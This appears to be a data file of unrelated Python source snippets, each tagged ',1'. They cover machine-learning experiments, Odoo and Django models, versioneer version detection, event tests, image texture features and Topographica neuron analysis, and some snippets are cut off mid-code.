np.random.uniform(-1,1)) for i in range(nopoint)] #print points dataset_Monte = np.array([(i[0],i[1], isLeft(pointa,pointb,i)) for i in points]) #print dataset_Monte return getMisMatches(dataset_Monte, weights) if __name__ == ""__main__"": '''X = np.array([[-1,-1],[-2,-1], [1,1], [2,1]]) y = np.array([1,1,2,2]) clf = SVC() clf.fit(X,y) print(clf.predict([[-0.8,-1]]))''' #clf = SVC() clf = SVC(C = 1000, kernel = 'linear') monteavgavgQP = list() monteavgavgPLA = list() approxavgQP = list() vectornumberavg = list() predictavg = list() for j in range(1): #clf = SVC(C = 1000, kernel = 'linear') monteavgQP = list() monteavgPLA = list() approxQP = list() vectoravg = list() for k in range(1000): nopoints = 100 line = getRandomLine() sample = getSample(line[0], line[1], nopoints) #print(sample) X = np.c_[sample[:,0], sample[:,1]] y = sample[:,2] #print(y) clf.fit(X,y) #print(clf.score(X,y)) w, it = doPLA(sample) #print(len(clf.support_vectors_)) #print(clf.support_vectors_) #print(clf.support_) vectoravg.append(len(clf.support_vectors_)) #print(clf.predict(clf.support_vectors_)==1) #print(clf.predict(clf.support_vectors_)) #print(clf.coef_) montelistQP = [doMonteCarloQP(line[0], line[1], clf, 500) for i in range(1)] qpMonte = sum(montelistQP)/len(montelistQP) monteavgQP.append(sum(montelistQP)/len(montelistQP)) montelist = [ doMonteCarloNP(line[0], line[1], w, 500) for i in range(1)] plaMonte = sum(montelist)/len(montelist) monteavgPLA.append(plaMonte) if(montelistQP < monteavgPLA): approxQP.append(1) else: approxQP.append(0) #print(sum(monteavgQP)/len(monteavgQP)) #print(sum(monteavgPLA)/len(monteavgPLA)) #print(sum(approxQP)/len(approxQP)) monteavgavgQP.append(sum(monteavgQP)/len(monteavgQP)) monteavgavgPLA.append(sum(monteavgPLA)/len(monteavgPLA)) approxavgQP.append(sum(approxQP)/len(approxQP)) vectornumberavg.append(sum(vectoravg)/len(vectoravg)) print(sum(monteavgavgQP)/len(monteavgavgQP)) print(sum(monteavgavgPLA)/len(monteavgavgPLA)) print(""how good is it? "", sum(approxavgQP)/len(approxavgQP)) print(""how good is it? "", sum(vectornumberavg)/len(vectornumberavg)) ",1 "Type(models.Model): _inherit = ""event.type"" community_menu = fields.Boolean( ""Community Menu"", compute=""_compute_community_menu"", readonly=False, store=True, help=""Display community tab on website"") @api.depends('website_menu') def _compute_community_menu(self): for event_type in self: event_type.community_menu = event_type.website_menu ",1 "g # feature). Distribution tarballs (built by setup.py sdist) and build # directories (produced by setup.py build) will contain a much shorter file # that just contains the computed version number. # This file is released into the public domain. Generated by # versioneer-0.19 (https://github.com/python-versioneer/python-versioneer) """"""Git implementation of _version.py."""""" import errno import os import re import subprocess import sys def get_keywords(): """"""Get the keywords needed to look up the version information."""""" # these strings will be replaced by git during git-archive. # setup.py/versioneer.py will grep for the variable names, so they must # each be defined on a line of their own. _version.py will just call # get_keywords(). git_refnames = ""$Format:%d$"" git_full = ""$Format:%H$"" git_date = ""$Format:%ci$"" keywords = {""refnames"": git_refnames, ""full"": git_full, ""date"": git_date} return keywords class VersioneerConfig: """"""Container for Versioneer configuration parameters."""""" def get_config(): """"""Create, populate and return the VersioneerConfig() object."""""" # these strings are filled in when 'setup.py versioneer' creates # _version.py cfg = VersioneerConfig() cfg.VCS = ""git"" cfg.style = ""pep440"" cfg.tag_prefix = ""v"" cfg.parentdir_prefix = """" cfg.versionfile_source = ""jxl2txt/_version.py"" cfg.verbose = False return cfg class NotThisMethod(Exception): """"""Exception raised if a method is not valid for the current scenario."""""" LONG_VERSION_PY = {} HANDLERS = {} def register_vcs_handler(vcs, method): # decorator """"""Create decorator to mark a method as the handler of a VCS."""""" def decorate(f): """"""Store f in HANDLERS[vcs][method]."""""" if vcs not in HANDLERS: HANDLERS[vcs] = {} HANDLERS[vcs][method] = f return f return decorate def run_command(commands, args, cwd=None, verbose=False, hide_stderr=False, env=None): """"""Call the given command(s)."""""" assert isinstance(commands, list) p = None for c in commands: try: dispcmd = str([c] + args) # remember shell=False, so use git.cmd on windows, not just git p = subprocess.Popen([c] + args, cwd=cwd, env=env, stdout=subprocess.PIPE, stderr=(subprocess.PIPE if hide_stderr else None)) break except EnvironmentError: e = sys.exc_info()[1] if e.errno == errno.ENOENT: continue if verbose: print(""unable to run %s"" % dispcmd) print(e) return None, None else: if verbose: print(""unable to find command, tried %s"" % (commands,)) return None, None stdout = p.communicate()[0].strip().decode() if p.returncode != 0: if verbose: print(""unable to run %s (error)"" % dispcmd) print(""stdout was %s"" % stdout) return None, p.returncode return stdout, p.returncode def versions_from_parentdir(parentdir_prefix, root, verbose): """"""Try to determine the version from the parent directory name. Source tarballs conventionally unpack into a directory that includes both the project name and a version string. We will also support searching up two directory levels for an appropriately named parent directory """""" rootdirs = [] for i in range(3): dirname = os.path.basename(root) if dirname.startswith(parentdir_prefix): return {""version"": dirname[len(parentdir_prefix):], ""full-revisionid"": None, ""dirty"": False, ""error"": None, ""date"": None} else: rootdirs.append(root) root = os.path.dirname(root) # up a level if verbose: print(""Tried directories %s but none started with prefix %s"" % (str(rootdirs), parentdir_prefix)) raise NotThisMethod(""rootdir doesn't start with parentdir_prefix"") @register_vcs_handler(""git"", ""get_keywords"") def git_get_keywords(versionfile_abs): """"""Extract version information from the given file."""""" # the code embedded in _version.py can just fetch the value of these # keywords. When used from setup.py, we don't want to import _version.py, # so we do it with a regexp instead. This function is not used from # _version.py. keywords = {} try: f = open(versionfile_abs, ""r"") for line in f.readlines(): if line.strip().startswith(""git_refnames =""): mo = re.search(r'=\s*""(.*)""', line) if mo: keywords[""refnames""] = mo.group(1) if line.strip().startswith(""git_full =""): mo = re.search(r'=\s*""(.*)""', line) if mo: keywords[""full""] = mo.group(1) if line.strip().startswith(""git_date =""): mo = re.search(r'=\s*""(.*)""', line) if mo: keywords[""date""] = mo.group(1) f.close() except EnvironmentError: pass return keywords @register_vcs_handler(""git"", ""keywords"") def git_versions_from_keywords(keywords, tag_prefix, verbose): """"""Get version information from git keywords."""""" if not keywords: raise NotThisMethod(""no keywords at all, weird"") date = keywords.get(""date"") if date is not None: # Use only the last line. Previous lines may contain GPG signature # information. date = date.splitlines()[-1] # git-2.2.0 added ""%cI"", which expands to an ISO-8601 -compliant # datestamp. However we prefer ""%ci"" (which expands to an ""ISO-8601 # -like"" string, which we must then edit to make compliant), because # it's been around since git-1.5.3, and it's too difficult to # discover which version we're using, or to work around using an # older one. date = date.strip().replace("" "", ""T"", 1).replace("" "", """", 1) refnames = keywords[""refnames""].strip() if refnames.startswith(""$Format""): if verbose: print(""keywords are unexpanded, not using"") raise NotThisMethod(""unexpanded keywords, not a git-archive tarball"") refs = set([r.strip() for r in refnames.strip(""()"").split("","")]) # starting in git-1.8.3, tags are listed as ""tag: foo-1.0"" instead of # just ""foo-1.0"". If we see a ""tag: "" prefix, prefer those. TAG = ""tag: "" tags = set([r[len(TAG):] for r in refs if r.startswith(TAG)]) if not tags: # Either we're using git < 1.8.3, or there really are no tags. We use # a heuristic: assume all version tags have a digit. The old git %d # expansion behaves like git log --decorate=short and strips out the # refs/heads/ and refs/tags/ prefixes that would let us distinguish # between branches and tags. By ignoring refnames without digits, we # filter out many common branch names like ""release"" and # ""stabilization"", as well as ""HEAD"" and ""master"". tags = set([r for r in refs if re.search(r'\d', r)]) if verbose: print(""discarding '%s', no digits"" % "","".join(refs - tags)) if verbose: print(""likely tags: %s"" % "","".join(sorted(tags))) for ref in sorted(tags): # sorting will prefer e.g. ""2.0"" over ""2.0rc1"" if ref.startswith(tag_prefix): r = ref[len(tag_prefix):] if verbose: print(""picking %s"" % r) return {""version"": r, ""full-revisionid"": keywords[""full""].strip(), ""dirty"": False, ""error"": None, ""date"": date} # no suitable tags, so version is ""0+unknown"", but full hex is still there if verbose: print(""no suitable tags, using unknown + full revision id"") return {""version"": ""0+unknown"", ""full-revisionid"": keywords[""full""].strip(), ""dirty"": False, ""error"": ""no suitable tags"", ""date"": None} @register_vcs_handler(""git"", ""pieces_from_vcs"") def git_pieces_from_vcs(tag_prefix, root, verbose, run_command=run_command): """"""Get version from 'git describe' in the root of the source tree. This only gets called if the git-archive 'subst' keywords were *not* expanded, and _version.py hasn't already been rewritten with a short version string, meaning we're inside a checked out source tree. """""" GITS = [""git""] if sys.platform == ""win32"": GITS = [""git.cmd"", ""git.exe""] out, rc = run_command(GITS, [""rev-parse"", ""--git-dir""], cwd=root, hide_stderr=True) if rc != 0: if verbose: print(""Directory %s not under git control"" % root) raise NotThisMethod(""'git rev-parse --git-dir' returned error"") # if there is a tag matching tag_prefix, this yields TAG-NUM-gHEX[-dirty] # if there isn't one, this yields HEX[-dirty] (no NUM) describe_out, rc = run_command(GITS, [""describe"", ""--tags"", ""--dirty"", ""--always"", ""--long"", ""--match"", ""%s*"" % tag_prefix], cwd=root) # --long was added in git-1.5.5 if describe_out is None: raise NotThisMethod(""'git describe' failed"") describe_out = describe_out.strip() full_out, rc = run_command(GITS, [""rev-parse"", ""HEAD""], cwd=root) if full_out is None: raise NotThisMethod(""'git rev-parse' failed"") full_out = full_out.strip() pieces = {} pieces[""long""] = full_out pieces[""short""] = full_out[:7] # maybe improved later pieces[""error""] = None # parse describe_out. It will be like TAG-NUM-gHEX[-dirty] or HEX[-dirty] # TAG might have hyphens. git_describe = describe_out # look for -dirty suffix dirty = git_describe.endswith(""-dirty"") pieces[""dirty""] = dirty if dirty: git_describe = git_describe[:git_describe.rindex(""-dirty"")] # now we have TAG-NUM-gHEX or HEX if ""-"" in git_describe: # TAG-NUM-gHEX mo = re.search(r'^(.+)-(\d+)-g([0-9a-f]+)$', git_describe) if not mo: # unparseable. Maybe git-describe is misbehaving? pieces[""error""] = (""unable to parse git-describe output: '%s'"" % describe_out) return pieces # tag full_tag = mo.group(1) if not full_tag.startswith(tag_prefix): if verbose: fmt = ""tag '%s' doesn't start with prefix '%s'"" print(fmt % (full_tag, tag_prefix)) pieces[""error""] = (""tag '%s' doesn't start with prefix '%s'"" % (full_tag, tag_prefix)) return pieces pieces[""closest-tag""] = full_tag[len(tag_prefix):] # distance: number of commits since tag pieces[""distance""] = int(mo.group(2)) # commit: short hex revision ID pieces[""short""] = mo.group(3) else: # HEX: no tags pieces[""closest-tag""] = None count_out, rc = run_command(GITS, [""rev-list"", ""HEAD"", ""--count""], cwd=root) pieces[""distance""] = int(count_out) # total number of commits # commit date: see ISO-8601 comment in git_versions_from_keywords() date = run_command(GITS, [""show"", ""-s"", ""--format=%ci"", ""HEAD""], cwd=root)[0].strip() # Use only the last line. Previous lines may contain GPG signature # information. date = date.splitlines()[-1] pieces[""date""] = date.strip().replace("" "", ""T"", 1).replace("" "", """", 1) return pieces def plus_or_dot(pieces): """"""Return a + if we don't already have one, else return a ."""""" if ""+"" in pieces.get(""closest-tag"", """"): return ""."" return ""+"" def render_pep440(pieces): """"""Build up version string, with post-release ""local version identifier"". Our goal: TAG[+DISTANCE.gHEX[.dirty]] . Note that if you get a tagged build and then dirty it, you'll get TAG+0.gHEX.dirty Exceptions: 1: no tags. git_describe was just HEX. 0+untagged.DISTANCE.gHEX[.dirty] """""" if pieces[""closest-tag""]: rendered = pieces[""closest-tag""] if pieces[""distance""] or pieces[""dirty""]: rendered += plus_or_dot(pieces) rendered += ""%d.g%s"" % (pieces[""distance""], pieces[""short""]) if pieces[""dirty""]: rendered += "".dirty"" else: # exception #1 rendered = ""0+untagged.%d.g%s"" % (pieces[""distance""], pieces[""short""]) if pieces[""dirty""]: rendered += "".dirty"" return rendered def render_pep440_pre(pieces): """"""TAG[.post0.devDISTANCE] -- No -dirty. Exceptions: 1: no tags. 0.post0.devDISTANCE """""" if pieces[""closest-tag""]: rendered = pieces[""closest-tag""] if pieces[""distance""]: rendered += "".post0.dev%d"" % pieces[""distance""] else: # exception #1 rendered = ""0.post0.dev%d"" % pieces[""distance""] return rendered def render_pep440_post(pieces): """"""TAG[.postDISTANCE[.dev0]+gHEX] . The "".dev0"" means dirty. Note that .dev0 sorts backwards (a dirty tree will appear ""older"" than the corresponding clean one), but you shouldn't be releasing software with -dirty anyways. Exceptions: 1: no tags. 0.postDISTANCE[.dev0] """""" if pieces[""closest-tag""]: rendered = pieces[""closest-tag""] if pieces[""distance""] or pieces[""dirty""]: rendered += "".post%d"" % pieces[""distance""] if pieces[""dirty""]: rendered += "".dev0"" rendered += plus_or_dot(pieces) rendered += ""g%s"" % pieces[""short""] else: # exception #1 rendered = ""0.post%d"" % pieces[""distance""] if pieces[""dirty""]: rendered += "".dev0"" rendered += ""+g%s"" % pieces[""short""] return rendered def render_pep440_old(pieces): """"""TAG[.postDISTANCE[.dev0]] . The "".dev0"" means dirty. Exceptions: 1: no tags. 0.postDISTANCE[.dev0] """""" if pieces[""closest-tag""]: rendered = pieces[""closest-tag""] if pieces[""distance""] or pieces[""dirty""]: rendered += "".post%d"" % pieces[""distance""] if pieces[""dirty""]: rendered += "".dev0"" else: # exception #1 rendered = ""0.post%d"" % pieces[""distance""] if pieces[""dirty""]: rendered += "".dev0"" return rendered def render_git_describe(pieces): """"""TAG[-DISTANCE-gHEX][-dirty]. Like 'git describe --tags --dirty --always'. Exceptions: 1: no tags. HEX[-dirty] (note: no 'g' prefix) """""" if pieces[""closest-tag""]: rendered = pieces[""closest-tag""] if pieces[""distance""]: rendered += ""-%d-g%s"" % (pieces[""distance""], pieces[""short""]) else: # exception #1 rendered = pieces[""short""] if pieces[""dirty""]: rendered += ""-dirty"" return rendered def render_git_describe_long(pieces): """"""TAG-DISTANCE-gHEX[-dirty]. Like 'git describe --tags --dirty --always -long'. The distance/hash is unconditional. Exceptions: 1: no tags. HEX[-dirty] (note: no 'g' prefix) """""" if pieces[""closest-tag""]: rendered = pieces[""closest-tag""] rendered += ""-%d-g%s"" % (pieces[""distance""], pieces[""short""]) else: # exception #1 rendered = pieces[""short""] if pieces[""dirty""]: rendered += ""-dirty"" return rendered def render(pieces, style): """"""Render the given version pieces into the requested style."""""" if pieces[""error""]: return {""version"": ""unknown"", ""full-revisionid"": pieces.get(""long""), ""dirty"": None, ""error"": pieces[""error""], ""date"": None} if not style or style == ""default"": style = ""pep440"" # the default if style == ""pep440"": rendered = render_pep440(pieces) elif style == ""pep440-pre"": rendered = render_pep440_pre(pieces) elif style == ""pep440-post"": rendered = render_pep440_post(pieces) elif style == ""pep440-old"": rendered = render_pep440_old(pieces) elif style == ""git-describe"": rendered = render_git_describe(pieces) elif style == ""git-describe-long"": rendered = render_git_describe_long(pieces) else: raise ValueError(""unknown style '%s'"" % style) return {""version"": rendered, ""full-revisionid"": pieces[""long""], ""dirty"": pieces[""dirty""], ""error"": None, ""date"": pieces.get(""date"")} def get_versions(): """"""Get version information or return default if unable to do so."""""" # I am in _version.py, which lives at ROOT/VERSIONFILE_SOURCE. If we have # __file__, we can work backwards from there to the root. Some # py2exe/bbfreeze/non-CPython implementations don't do __file__, in which # case we can only use expanded keywords. cfg = get_config() verbose = cfg.verbose try: return git_versions_from_keywords(get_keywords(), cfg.tag_prefix, verbose) except NotThisMethod: pass try: root = os.path.realpath(__file__) # versionfile_source is the relative path from the top of the source # tree (where the .git directory might live) to this file. Invert # this to find the root from __file__. for i in cfg.versionfile_source.split('/'): root = os.path.dirname(root) except NameError: return {""version"": ""0+unknown"", ""full-revisionid"": None, ""dirty"": None, ""error"": ""unable to find root of source tree"", ""date"": None} try: pieces = git_pieces_from_vcs(cfg.tag_prefix, root, verbose) return render(pieces, cfg.style) except NotThisMethod: pass try: if cfg.parentdir_prefix: return versions_from_parentdir(cfg.parentdir_prefix, root, verbose) except NotThisMethod: pass return {""version"": ""0+unknown"", ""full-revisionid"": None, ""dirty"": None, ""error"": ""unable to compute version"", ""date"": None} ",1 "the git revision log. # The source code contained in this file is licensed under the GPLv3 or # (at your option) any later version. # See LICENSE.txt in the main project directory, for more information. from mediadrop.lib.test.pythonic_testcase import * from mediadrop.plugin.events import Event, FetchFirstResultEvent, GeneratorEvent class EventTest(PythonicTestCase): def setUp(self): self.observers_called = 0 self.event = Event() def probe(self): self.observers_called += 1 def test_can_notify_all_observers(self): self.event.post_observers.append(self.probe) self.event.pre_observers.append(self.probe) assert_equals(0, self.observers_called) self.event() assert_equals(2, self.observers_called) class FetchFirstResultEventTest(PythonicTestCase): def test_returns_first_non_null_result(self): event = FetchFirstResultEvent([]) event.post_observers.append(lambda: None) event.post_observers.append(lambda: 1) event.post_observers.append(lambda: 2) assert_equals(1, event()) def test_passes_all_event_parameters_to_observers(self): event = FetchFirstResultEvent([]) event.post_observers.append(lambda foo, bar=None: foo) event.post_observers.append(lambda foo, bar=None: bar or foo) assert_equals(4, event(4)) assert_equals(6, event(None, bar=6)) class GeneratorEventTest(PythonicTestCase): def test_can_unroll_lists(self): event = GeneratorEvent([]) event.post_observers.append(lambda: [1, 2, 3]) event.post_observers.append(lambda: ('a', 'b')) assert_equals([1, 2, 3, 'a', 'b'], list(event())) def test_can_return_non_iterable_items(self): event = GeneratorEvent([]) event.post_observers.append(lambda: [1, ]) event.post_observers.append(lambda: None) event.post_observers.append(lambda: 5) event.post_observers.append(lambda: 'some value') assert_equals([1, None, 5, 'some value'], list(event())) import unittest def suite(): suite = unittest.TestSuite() suite.addTest(unittest.makeSuite(EventTest)) suite.addTest(unittest.makeSuite(FetchFirstResultEventTest)) suite.addTest(unittest.makeSuite(GeneratorEventTest)) return suite if __name__ == '__main__': unittest.main(defaultTest='suite') ",1 " distances, angles, levels=256, symmetric=False, normed=False): """"""Calculate the grey-level co-occurrence matrix. A grey level co-occurence matrix is a histogram of co-occuring greyscale values at a given offset over an image. Parameters ---------- image : array_like of uint8 Integer typed input image. The image will be cast to uint8, so the maximum value must be less than 256. distances : array_like List of pixel pair distance offsets. angles : array_like List of pixel pair angles in radians. levels : int, optional The input image should contain integers in [0, levels-1], where levels indicate the number of grey-levels counted (typically 256 for an 8-bit image). The maximum value is 256. symmetric : bool, optional If True, the output matrix `P[:, :, d, theta]` is symmetric. This is accomplished by ignoring the order of value pairs, so both (i, j) and (j, i) are accumulated when (i, j) is encountered for a given offset. The default is False. normed : bool, optional If True, normalize each matrix `P[:, :, d, theta]` by dividing by the total number of accumulated co-occurrences for the given offset. The elements of the resulting matrix sum to 1. The default is False. Returns ------- P : 4-D ndarray The grey-level co-occurrence histogram. The value `P[i,j,d,theta]` is the number of times that grey-level `j` occurs at a distance `d` and at an angle `theta` from grey-level `i`. If `normed` is `False`, the output is of type uint32, otherwise it is float64. References ---------- .. [1] The GLCM Tutorial Home Page, http://www.fp.ucalgary.ca/mhallbey/tutorial.htm .. [2] Pattern Recognition Engineering, Morton Nadler & Eric P. Smith .. [3] Wikipedia, http://en.wikipedia.org/wiki/Co-occurrence_matrix Examples -------- Compute 2 GLCMs: One for a 1-pixel offset to the right, and one for a 1-pixel offset upwards. >>> image = np.array([[0, 0, 1, 1], ... [0, 0, 1, 1], ... [0, 2, 2, 2], ... [2, 2, 3, 3]], dtype=np.uint8) >>> result = greycomatrix(image, [1], [0, np.pi/4, np.pi/2, 3*np.pi/4], levels=4) >>> result[:, :, 0, 0] array([[2, 2, 1, 0], [0, 2, 0, 0], [0, 0, 3, 1], [0, 0, 0, 1]], dtype=uint32) >>> result[:, :, 0, 1] array([[1, 1, 3, 0], [0, 1, 1, 0], [0, 0, 0, 2], [0, 0, 0, 0]], dtype=uint32) >>> result[:, :, 0, 2] array([[3, 0, 2, 0], [0, 2, 2, 0], [0, 0, 1, 2], [0, 0, 0, 0]], dtype=uint32) >>> result[:, :, 0, 3] array([[2, 0, 0, 0], [1, 1, 2, 0], [0, 0, 2, 1], [0, 0, 0, 0]], dtype=uint32) """""" assert levels <= 256 image = np.ascontiguousarray(image) assert image.ndim == 2 assert image.min() >= 0 assert image.max() < levels image = image.astype(np.uint8) distances = np.ascontiguousarray(distances, dtype=np.float64) angles = np.ascontiguousarray(angles, dtype=np.float64) assert distances.ndim == 1 assert angles.ndim == 1 P = np.zeros((levels, levels, len(distances), len(angles)), dtype=np.uint32, order='C') # count co-occurences _glcm_loop(image, distances, angles, levels, P) # make each GLMC symmetric if symmetric: Pt = np.transpose(P, (1, 0, 2, 3)) P = P + Pt # normalize each GLMC if normed: P = P.astype(np.float64) glcm_sums = np.apply_over_axes(np.sum, P, axes=(0, 1)) glcm_sums[glcm_sums == 0] = 1 P /= glcm_sums return P def greycoprops(P, prop='contrast'): """"""Calculate texture properties of a GLCM. Compute a feature of a grey level co-occurrence matrix to serve as a compact summary of the matrix. The properties are computed as follows: - 'contrast': :math:`\\sum_{i,j=0}^{levels-1} P_{i,j}(i-j)^2` - 'dissimilarity': :math:`\\sum_{i,j=0}^{levels-1}P_{i,j}|i-j|` - 'homogeneity': :math:`\\sum_{i,j=0}^{levels-1}\\frac{P_{i,j}}{1+(i-j)^2}` - 'ASM': :math:`\\sum_{i,j=0}^{levels-1} P_{i,j}^2` - 'energy': :math:`\\sqrt{ASM}` - 'correlation': .. math:: \\sum_{i,j=0}^{levels-1} P_{i,j}\\left[\\frac{(i-\\mu_i) \\ (j-\\mu_j)}{\\sqrt{(\\sigma_i^2)(\\sigma_j^2)}}\\right] Parameters ---------- P : ndarray Input array. `P` is the grey-level co-occurrence histogram for which to compute the specified property. The value `P[i,j,d,theta]` is the number of times that grey-level j occurs at a distance d and at an angle theta from grey-level i. prop : {'contrast', 'dissimilarity', 'homogeneity', 'energy', \ 'correlation', 'ASM'}, optional The property of the GLCM to compute. The default is 'contrast'. Returns ------- results : 2-D ndarray 2-dimensional array. `results[d, a]` is the property 'prop' for the d'th distance and the a'th angle. References ---------- .. [1] The GLCM Tutorial Home Page, http://www.fp.ucalgary.ca/mhallbey/tutorial.htm Examples -------- Compute the contrast for GLCMs with distances [1, 2] and angles [0 degrees, 90 degrees] >>> image = np.array([[0, 0, 1, 1], ... [0, 0, 1, 1], ... [0, 2, 2, 2], ... [2, 2, 3, 3]], dtype=np.uint8) >>> g = greycomatrix(image, [1, 2], [0, np.pi/2], levels=4, ... normed=True, symmetric=True) >>> contrast = greycoprops(g, 'contrast') >>> contrast array([[ 0.58333333, 1. ], [ 1.25 , 2.75 ]]) """""" assert P.ndim == 4 (num_level, num_level2, num_dist, num_angle) = P.shape assert num_level == num_level2 assert num_dist > 0 assert num_angle > 0 # create weights for specified property I, J = np.ogrid[0:num_level, 0:num_level] if prop == 'contrast': weights = (I - J) ** 2 elif prop == 'dissimilarity': weights = np.abs(I - J) elif prop == 'homogeneity': weights = 1. / (1. + (I - J) ** 2) elif prop in ['ASM', 'energy', 'correlation']: pass else: raise ValueError('%s is an invalid property' % (prop)) # compute property for each GLCM if prop == 'energy': asm = np.apply_over_axes(np.sum, (P ** 2), axes=(0, 1))[0, 0] results = np.sqrt(asm) elif prop == 'ASM': results = np.apply_over_axes(np.sum, (P ** 2), axes=(0, 1))[0, 0] elif prop == 'correlation': results = np.zeros((num_dist, num_angle), dtype=np.float64) I = np.array(range(num_level)).reshape((num_level, 1, 1, 1)) J = np.array(range(num_level)).reshape((1, num_level, 1, 1)) diff_i = I - np.apply_over_axes(np.sum, (I * P), axes=(0, 1))[0, 0] diff_j = J - np.apply_over_axes(np.sum, (J * P), axes=(0, 1))[0, 0] std_i = np.sqrt(np.apply_over_axes(np.sum, (P * (diff_i) ** 2), axes=(0, 1))[0, 0]) std_j = np.sqrt(np.apply_over_axes(np.sum, (P * (diff_j) ** 2), axes=(0, 1))[0, 0]) cov = np.apply_over_axes(np.sum, (P * (diff_i * diff_j)), axes=(0, 1))[0, 0] # handle the special case of standard deviations near zero mask_0 = std_i < 1e-15 mask_0[std_j < 1e-15] = True results[mask_0] = 1 # handle the standard case mask_1 = mask_0 == False results[mask_1] = cov[mask_1] / (std_i[mask_1] * std_j[mask_1]) elif prop in ['contrast', 'dissimilarity', 'homogeneity']: weights = weights.reshape((num_level, num_level, 1, 1)) results = np.apply_over_axes(np.sum, (P * weights), axes=(0, 1))[0, 0] return results def local_binary_pattern(image, P, R, method='default'): """"""Gray scale and rotation invariant LBP (Local Binary Patterns). LBP is an invariant descriptor that can be used for texture classification. Parameters ---------- image : (N, M) array Graylevel image. P : int Number of circularly symmetric neighbour set points (quantization of the angular space). R : float Radius of circle (spatial resolution of the operator). method : {'default', 'ror', 'uniform', 'var'} Method to determine the pattern. * 'default': original local binary pattern which is gray scale but not rotation invariant. * 'ror': extension of default implementation which is gray scale and rotation invariant. * 'uniform': improved rotation invariance with uniform patterns and finer quantization of the angular space which is gray scale and rotation invariant. * 'nri_uniform': non rotation-invariant uniform patterns variant which is only gray scale invariant [2]. * 'var': rotation invariant variance measures of the contrast of local image texture which is rotation but not gray scale invariant. Returns ------- output : (N, M) array LBP image. References ---------- .. [1] Multiresolution Gray-Scale and Rotation Invariant Texture Classification with Local Binary Patterns. Timo Ojala, Matti Pietikainen, Topi Maenpaa. http://www.rafbis.it/biplab15/images/stories/docenti/Danielriccio/\ Articoliriferimento/LBP.pdf, 2002. .. [2] Face recognition with local binary patterns. Timo Ahonen, Abdenour Hadid, Matti Pietikainen, http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.214.6851, 2004. """""" methods = { 'default': ord('D'), 'ror': ord('R'), 'uniform': ord('U'), 'nri_uniform': ord('N'), 'var': ord('V') } image = np.ascontiguousarray(image, dtype=np.double) output = _local_binary_pattern(image, P, R, methods[method.lower()]) return output ",1 "lType) : type = ""Exists"" _predicate_functions = [] def __init__(self, definition) : super(CategoricalType, self ).__init__(definition) self.cat_comparator = CategoricalComparator([0,1]) self.higher_vars = [] for higher_var in self.cat_comparator.dummy_names : dummy_var = DerivedType({'name' : higher_var, 'type' : 'Dummy', 'has missing' : self.has_missing}) self.higher_vars.append(dummy_var) def comparator(self, field_1, field_2) : if field_1 and field_2 : return self.cat_comparator(1, 1) elif field_1 or field_2 : return self.cat_comparator(0, 1) else : return self.cat_comparator(0, 0) # This flag tells fieldDistances in dedupe.core to pass # missing values (None) into the comparator comparator.missing = True ",1 "d/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. RockStor is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . """""" from django.db import models from storageadmin.models import Appliance class UpdateSubscription(models.Model): """"""name of the channel. eg: stable"""""" name = models.CharField(max_length=64, unique=True) """"""detailed description or a longer name"""""" description = models.CharField(max_length=128) """"""url of the repo"""""" url = models.CharField(max_length=512) appliance = models.ForeignKey(Appliance) password = models.CharField(max_length=64, null=True) """"""status of subscription: active, inactive, expired etc.."""""" status = models.CharField(max_length=64) class Meta: app_label = 'storageadmin' ",1 "h import fmod,floor,pi,sin,cos,sqrt import numpy from numpy.oldnumeric import Float from numpy import zeros, array, size, empty, object_ #import scipy try: import pylab except ImportError: print ""Warning: Could not import matplotlib; pylab plots will not work."" import param import topo from topo.base.cf import CFSheet from topo.base.sheetview import SheetView from topo.misc.filepath import normalize_path from topo.misc.numbergenerator import UniformRandom from topo.plotting.plotgroup import create_plotgroup, plotgroups from topo.command.analysis import measure_sine_pref max_value = 0 global_index = () def _complexity_rec(x,y,index,depth,fm): """""" Recurrent helper function for complexity() """""" global max_value global global_index if depth datax[i] + 180): datay[i]= datay[i]- 360 if((datax[i] > 180) & (datay[i]> 180)): datax[i] = datax[i] - 360; datay[i] = datay[i] - 360 if((datax[i] > 180) & (datay[i] < (datax[i]-180))): datax[i] = datax[i] - 360; #datay[i] = datay[i] - 360 f = pylab.figure() ax = f.add_subplot(111, aspect='equal') pylab.plot(datax,datay,'ro') pylab.plot([0,360],[-180,180]) pylab.plot([-180,180],[0,360]) pylab.plot([-180,-180],[360,360]) ax.axis([-180,360,-180,360]) pylab.xticks([-180,0,180,360], [-180,0,180,360]) pylab.yticks([-180,0,180,360], [-180,0,180,360]) pylab.grid() pylab.savefig(normalize_path(str(topo.sim.timestr()) + sheet_name + ""_scatter.png"")) ############################################################################### # JABALERT: Should we move this plot and command to analysis.py or # pylabplots.py, where all the rest are? # # In any case, it requires generalization; it should not be hardcoded # to any particular map name, and should just do the right thing for # most networks for which it makes sense. E.g. it already measures # the ComplexSelectivity for all measured_sheets, but then # plot_modulation_ratio only accepts two with specific names. # plot_modulation_ratio should just plot whatever it is given, and # then analyze_complexity can simply pass in whatever was measured, # with the user controlling what is measured using the measure_map # attribute of each Sheet. That way the complexity of any sheet could # be measured, which is what we want. # # Specific changes needed: # - Make plot_modulation_ratio accept a list of sheets and # plot their individual modulation ratios and combined ratio. # - Remove complex_sheet_name argument, which is no longer needed # - Make sure it still works fine even if V1Simple doesn't exist; # as this is just for an optional scatter plot, it's fine to skip # it. # - Preferably remove the filename argument by default, so that # plots will show up in the GUI def analyze_complexity(full_matrix,simple_sheet_name,complex_sheet_name,filename=None): """""" Compute modulation ratio for each neuron, to distinguish complex from simple cells. Uses full_matrix data obtained from measure_or_pref(). If there is a sheet named as specified in simple_sheet_name, also plots its phase preference as a scatter plot. """""" import topo measured_sheets = [s for s in topo.sim.objects(CFSheet).values() if hasattr(s,'measure_maps') and s.measure_maps] for sheet in measured_sheets: # Divide by two to get into 0-1 scale - that means simple/complex boundry is now at 0.5 complx = array(complexity(full_matrix[sheet]))/2.0 # Should this be renamed to ModulationRatio? sheet.sheet_views['ComplexSelectivity']=SheetView((complx,sheet.bounds), sheet.name , sheet.precedence, topo.sim.time(),sheet.row_precedence) import topo.command.pylabplots topo.command.pylabplots.plot_modulation_ratio(full_matrix,simple_sheet_name=simple_sheet_name,complex_sheet_name=complex_sheet_name,filename=filename) # Avoid error if no simple sheet exists try: 